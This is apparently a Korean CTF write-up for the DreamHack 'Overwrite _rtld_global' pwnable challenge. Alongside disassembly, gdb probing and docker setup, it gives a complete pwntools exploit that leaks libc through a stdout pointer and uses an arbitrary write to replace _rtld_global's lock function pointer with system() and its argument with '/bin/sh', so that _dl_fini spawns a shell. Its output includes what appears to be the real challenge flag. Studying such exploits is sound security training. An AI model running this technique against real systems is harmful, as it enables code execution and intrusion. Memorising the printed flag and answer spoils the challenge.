[🥉 Bronze 2] GOT가 잠겨 있으면 ld.so를 본다 — DreamHack Overwrite _rtld_global 풀이

file extracted/ow_rtld; checksec --file=extracted/ow_rtld

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
 
#include <stdio.h>
#include <stdlib.h>
 
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
int main() {
  long addr;
  long data;
  int idx;
 
  init();
 
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
        return 0;
    }
  }
  return 0;
}

objdump -d -M intel --no-show-raw-insn extracted/ow_rtld | sed -n "/<main>:/,/^$/p" | sed -f annot_main.sed

s|^\( *83e:.*\)|\1        <-- stdout(FILE*) 포인터 로드|
s|^\( *854:.*\)|\1        <-- "stdout: %p" 출력 = libc 주소 유출|
s|^\( *8e7:.*\)|\1        <-- *(long long *)addr = data  : 임의 주소 쓰기|
s|^\( *902:.*\)|\1        <-- while(1) 로 복귀 (쓰기 횟수 무제한)|

readelf -lW extracted/ow_rtld | grep -E "Type|GNU_RELRO|LOAD"; readelf -dW extracted/ow_rtld | grep -E "BIND_NOW|FLAGS"

readelf --dyn-syms -W extracted/libc-2.27.so | grep -E "_IO_2_1_stdout_| system@@"; readelf --dyn-syms -W extracted/ld-2.27.so | grep -E "_rtld_global@@"

void
_dl_fini (void)
{
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));
 
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      if (nloaded == 0)
        __rtld_lock_unlock_recursive (GL(dl_load_lock));
      else
        {
          /* ... 소멸자 실행 ... */
        }
    }
}

#define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)

_rtld_global._dl_rtld_lock_recursive (&_rtld_global._dl_load_lock.mutex);

objdump -d -M intel --no-show-raw-insn extracted/ld-2.27.so > /tmp/ld227.asm
grep -n "# 228960" /tmp/ld227.asm

   485:    15ab:  mov    rax,QWORD PTR [rip+0x2273ae]   # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
  7399:    8e22:  cmp    QWORD PTR [rip+0x21fb37],r9    # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
 14688:   109b1:  mov    r12,QWORD PTR [rip+0x217fa8]   # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
 14865:   10c8a:  mov    r12,QWORD PTR [rip+0x217ccf]   # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
 ...

rdx at _start (rtld_fini) = 0x7ffff7c109a0  ->  ld + 0x109a0   [_dl_fini]

objdump -d -M intel --no-show-raw-insn --start-address=0x109a0 --stop-address=0x10a16 extracted/ld-2.27.so | sed -f annot_dlfini.sed

s|^\( *109b1:.*\)|\1   <-- GL(dl_nns) = _rtld_global+0x900 로드|
s|^\( *109e0:.*\)|\1   <-- rdi = \&_dl_load_lock.mutex|
s|^\( *109e7:.*\)|\1   <-- unlock 함수 포인터 (+0xf08) 호출|
s|^\( *10a02:.*\)|\1   <-- rdi = \&_dl_load_lock.mutex|
s|^\( *10a09:.*\)|\1   <-- ★ lock 함수 포인터 (+0xf00) 호출 = 우리가 덮을 자리|
s|^\( *10a0f:.*\)|\1   <-- nloaded 검사|

struct link_namespaces {
  struct link_map *_ns_loaded;                // 8   → 0x00
  unsigned int _ns_nloaded;                   // 4+4 → 0x08
  struct r_scope_elem *_ns_main_searchlist;   // 8   → 0x10
  unsigned int _ns_global_scope_alloc;        // 4   → 0x18
  unsigned int _ns_global_scope_pending_adds; // 4   → 0x1c
  struct unique_sym_table _ns_unique_sym_table; // 72 → 0x20
  struct r_debug _ns_debug;                   // 40  → 0x68
};                                            // 합계 0x90

set confirm off
set pagination off
set disassembly-flavor intel
 
starti
 
python
inf = gdb.inferiors()[0]
 
def bases():
    ld = libc = exe = None
    for line in gdb.execute("info proc mappings", to_string=True).splitlines():
        f = line.split()
        if len(f) < 6:
            continue
        p = f[-1]
        if p.endswith("ld-2.27.so") and ld is None:
            ld = int(f[0], 16)
        elif p.endswith("libc-2.27.so") and libc is None:
            libc = int(f[0], 16)
        elif p.endswith("/ow_rtld") and exe is None:
            exe = int(f[0], 16)
    return ld, libc, exe
 
ld, libc, exe = bases()
gdb.execute("break *%#x" % (exe + 0x6D0))
gdb.execute("continue")
ld, libc, exe = bases()
rtld_global = ld + 0x228060
 
def rd(a):
    return int.from_bytes(inf.read_memory(a, 8).tobytes(), "little")
 
print("=" * 70)
print("ld_base = %#x   _rtld_global = %#x" % (ld, rtld_global))
print("=" * 70)
for off, name in ((0x900, "_dl_nns"),
                  (0x908, "_dl_load_lock.mutex  (= _dl_fini 가 rdi 로 넘기는 주소)"),
                  (0xEF8, "?"),
                  (0xF00, "_dl_rtld_lock_recursive"),
                  (0xF08, "_dl_rtld_unlock_recursive"),
                  (0xF10, "_dl_make_stack_executable_hook")):
    v = rd(rtld_global + off)
    tag = "  -> ld+%#x" % (v - ld) if ld <= v < ld + 0x230000 else ""
    print("_rtld_global+0x%03X  %-46s = %#018x%s" % (off, name, v, tag))
print("=" * 70)
print("--- +0xF00 이 가리키는 함수 (기본 lock) ---")
gdb.execute("x/8i %#x" % rd(rtld_global + 0xF00))
print("--- +0xF08 이 가리키는 함수 (기본 unlock) ---")
gdb.execute("x/8i %#x" % rd(rtld_global + 0xF08))
end
quit

mkdir -p local && cp extracted/ow_rtld extracted/libc-2.27.so extracted/ld-2.27.so local/
cd local
patchelf --set-interpreter "$PWD/ld-2.27.so" --set-rpath "$PWD" ow_rtld
ln -sf libc-2.27.so libc.so.6
chmod +x ow_rtld ld-2.27.so

gdb -q -batch -x cmds_probe2.gdb local/ow_rtld

#!/usr/bin/env bash
# 문제 Dockerfile 로 만든 컨테이너(ow_rtld_local) 안에서 ow_rtld 를 띄우고
# /proc/<pid>/maps 로 libc·ld 매핑 시작주소를 읽어, 둘의 거리가 실행마다 고정인지 본다.
# ASLR 은 켜져 있으므로(호스트 randomize_va_space=2) 매번 베이스는 달라져야 정상이다.
set -eu
for i in 1 2 3 4; do
  docker run --rm ow_rtld_local sh -c \
    '(sleep 3 | /home/ow_rtld/ow_rtld >/dev/null) & p=$!; sleep 1;
     grep -E "r-xp .*(libc-2.27|ld-2.27)" /proc/$p/maps' \
  | python3 -c '
import sys
libc = ld = None
for line in sys.stdin:
    a = int(line.split("-")[0], 16)
    if "libc-2.27" in line:
        libc = a
    elif "ld-2.27" in line:
        ld = a
print("libc=0x%x   ld=0x%x   ld-libc=0x%x" % (libc, ld, ld - libc))
'
done

libc_base   = leak - 0x3ec760
ld_base     = libc_base + 0x3f1000
rtld_global = ld_base + 0x228060
system      = libc_base + 0x4f440

mkdir -p build && cp extracted/Dockerfile extracted/ow_rtld build/
printf 'DH{LOCAL_FAKE_FLAG_ow_rtld_test}\n' > build/flag
docker build -t ow_rtld_local build/
docker run -d --rm --name ow_rtld_test -p 7182:7182 ow_rtld_local

#!/usr/bin/env python3
# Overwrite _rtld_global (DreamHack, Bronze 2 / pwnable)
#
#   사용법
#     로컬(도커 복제본, 기본값):  python3 solve.py
#     원격:                       python3 solve.py host3.dreamhack.games 12345
#
#   로컬 복제본 띄우는 법 (문제 Dockerfile 그대로):
#     cd build && docker build -t ow_rtld_local . && \
#     docker run --rm -p 7182:7182 ow_rtld_local
#
# 취약점: main 의 while(1) 안에서 *(long long *)addr = data 가 무제한 임의 주소 쓰기.
#         Full RELRO 라 GOT 는 못 건드리지만, ld.so 의 쓰기 가능한 전역 _rtld_global 은
#         RELRO 대상이 아니다. 종료 시 _dl_fini() 가
#             _rtld_global._dl_rtld_lock_recursive(&_rtld_global._dl_load_lock.mutex)
#         를 호출하므로, 함수 포인터를 system 으로, 인자 자리를 "/bin/sh" 로 바꿔치기한다.
 
import re
import sys
import time
 
from pwn import *
 
context.arch = "amd64"
context.log_level = "info"
 
# ---- 제공된 libc-2.27.so / ld-2.27.so 에서 뽑은 상수 -------------------------
LIBC_STDOUT = 0x3EC760   # readelf --dyn-syms libc-2.27.so | grep _IO_2_1_stdout_
LIBC_SYSTEM = 0x0004F440 # readelf --dyn-syms libc-2.27.so | grep ' system@@'
LD_RTLD_GLOBAL = 0x228060  # readelf --dyn-syms ld-2.27.so | grep _rtld_global@@
 
# _rtld_global 내부 오프셋 (glibc 2.27 x86-64, objdump/gdb 로 확인)
#   +0xF00 lock   -> add DWORD PTR [rdi+0x4],1 ; ret
#   +0xF08 unlock -> sub DWORD PTR [rdi+0x4],1 ; ret
# _dl_fini 는 lock 을 먼저 부른다. unlock(+0xF08) 을 덮으면 그 전에 실행된 진짜 lock 이
# mutex.__count(= 문자열 4번째 바이트) 를 +1 해버려 "/bin/sh" 가 "/bin0sh" 가 된다.
OFF_LOAD_LOCK = 0x908    # &_rtld_global._dl_load_lock.mutex  -> _dl_fini 가 rdi 로 넘김
OFF_LOCK_FPTR = 0xF00    # _rtld_global._dl_rtld_lock_recursive
 
# ld.so 와 libc 는 항상 붙어서 매핑된다. 그 거리는 libc 매핑 크기로만 정해져 고정.
#   ld_base - libc_base = 0x3ED000(libc 매핑) + 0x4000(bss 뒤 익명 페이지) = 0x3F1000
LD_DELTA = 0x3F1000
# ----------------------------------------------------------------------------
 
 
def write64(io, addr, data):
    """arbitrary write 한 번: idx=1 -> addr -> data"""
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"addr: ", str(addr).encode())
    io.sendlineafter(b"data: ", str(data).encode())
 
 
def main():
    if len(sys.argv) >= 3:
        io = remote(sys.argv[1], int(sys.argv[2]))
    else:
        io = remote("127.0.0.1", 7182)
 
    # 1) main 첫 줄이 stdout(=libc 의 _IO_2_1_stdout_) 주소를 그냥 알려준다
    io.recvuntil(b"stdout: ")
    leak = int(io.recvline().strip(), 16)
    libc = leak - LIBC_STDOUT
    ld = libc + LD_DELTA
    rtld_global = ld + LD_RTLD_GLOBAL
 
    log.success("stdout leak  : %#x", leak)
    log.success("libc base    : %#x", libc)
    log.success("ld base      : %#x  (libc + %#x)", ld, LD_DELTA)
    log.success("_rtld_global : %#x", rtld_global)
 
    system = libc + LIBC_SYSTEM
    log.success("system       : %#x", system)
 
    # 2) _dl_fini 가 인자로 넘길 &_dl_load_lock.mutex 자리에 "/bin/sh" 를 박는다
    binsh = u64(b"/bin/sh\x00")
    write64(io, rtld_global + OFF_LOAD_LOCK, binsh)
 
    # 3) 그 자리를 호출하는 함수 포인터를 system 으로
    write64(io, rtld_global + OFF_LOCK_FPTR, system)
 
    # 4) idx 를 1 이외의 값으로 -> main return -> exit -> _dl_fini -> system("/bin/sh")
    io.sendlineafter(b"> ", b"0")
 
    time.sleep(0.5)
    io.sendline(b"id; cat /home/ow_rtld/flag")
    out = io.recvrepeat(3).decode(errors="replace")
    print(out, end="")
    io.close()
 
    m = re.search(r"DH\{[^}]*\}", out)
    if m:
        log.success("FLAG: %s", m.group(0))
    else:
        log.failure("flag 를 못 받았다 — 셸이 안 떴거나 인스턴스가 만료됐다")
        sys.exit(1)
 
 
if __name__ == "__main__":
    main()

[+] stdout leak  : 0x7f4e2c5de760
[+] libc base    : 0x7f4e2c1f2000
[+] ld base      : 0x7f4e2c5e3000  (libc + 0x3f1000)
[+] _rtld_global : 0x7f4e2c80b060
[+] system       : 0x7f4e2c241440
uid=1000(ow_rtld) gid=1000(ow_rtld) groups=1000(ow_rtld)
DH{a5bd416ee5f23da9f378c1b5d177b99366141f93beb3eabfa5b74abcf83f4293}

#!/usr/bin/env bash
# Overwrite _rtld_global (DreamHack Bronze 2, pwnable) — 한 방 재현.
#
#   ./reproduce.sh                       로컬 도커 복제본으로 기법 검증 (진짜 flag 아님)
#   ./reproduce.sh host3.dreamhack.games 15889     라이브 인스턴스 → 진짜 flag 대조
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
 
if [ "$#" -ge 2 ]; then
  # ---- 라이브: 진짜 flag ----
  OUT=$(timeout 300 python3 solve.py "$1" "$2" 2>&1) || true
  echo "$OUT" | tail -10
  FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
  if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
    echo; echo "✅ PASS  $FLAG"; exit 0
  fi
  echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '${EXPECT:-대조본없음}')"; exit 1
fi
 
# ---- 로컬: 문제 Dockerfile 그대로 복제해 기법만 검증 ----
echo "[*] 로컬 복제본 빌드 (문제 Dockerfile · ubuntu:18.04 pinned digest)"
mkdir -p build
cp extracted/Dockerfile extracted/ow_rtld build/
printf 'DH{LOCAL_FAKE_FLAG_ow_rtld_test}\n' > build/flag
docker build -q -t ow_rtld_local build/ >/dev/null
 
docker rm -f ow_rtld_repro >/dev/null 2>&1 || true
docker run -d --rm --name ow_rtld_repro -p 7182:7182 ow_rtld_local >/dev/null
sleep 2
OUT=$(timeout 120 python3 solve.py 2>&1) || true
docker rm -f ow_rtld_repro >/dev/null 2>&1 || true
 
echo "$OUT" | tail -10
if printf '%s' "$OUT" | grep -q 'DH{LOCAL_FAKE_FLAG_ow_rtld_test}'; then
  echo
  echo "✅ LOCAL-OK  _rtld_global 덮어쓰기 → 셸 획득 확인"
  echo "   ⚠️ 위 flag 는 이 스크립트가 심어 둔 로컬 더미다. 진짜 flag 는 라이브 인스턴스에서만 나온다:"
  echo "      ./reproduce.sh <host> <port>"
  exit 0
fi
echo; echo "❌ FAIL — 로컬 복제본에서 셸을 못 잡았다"; exit 1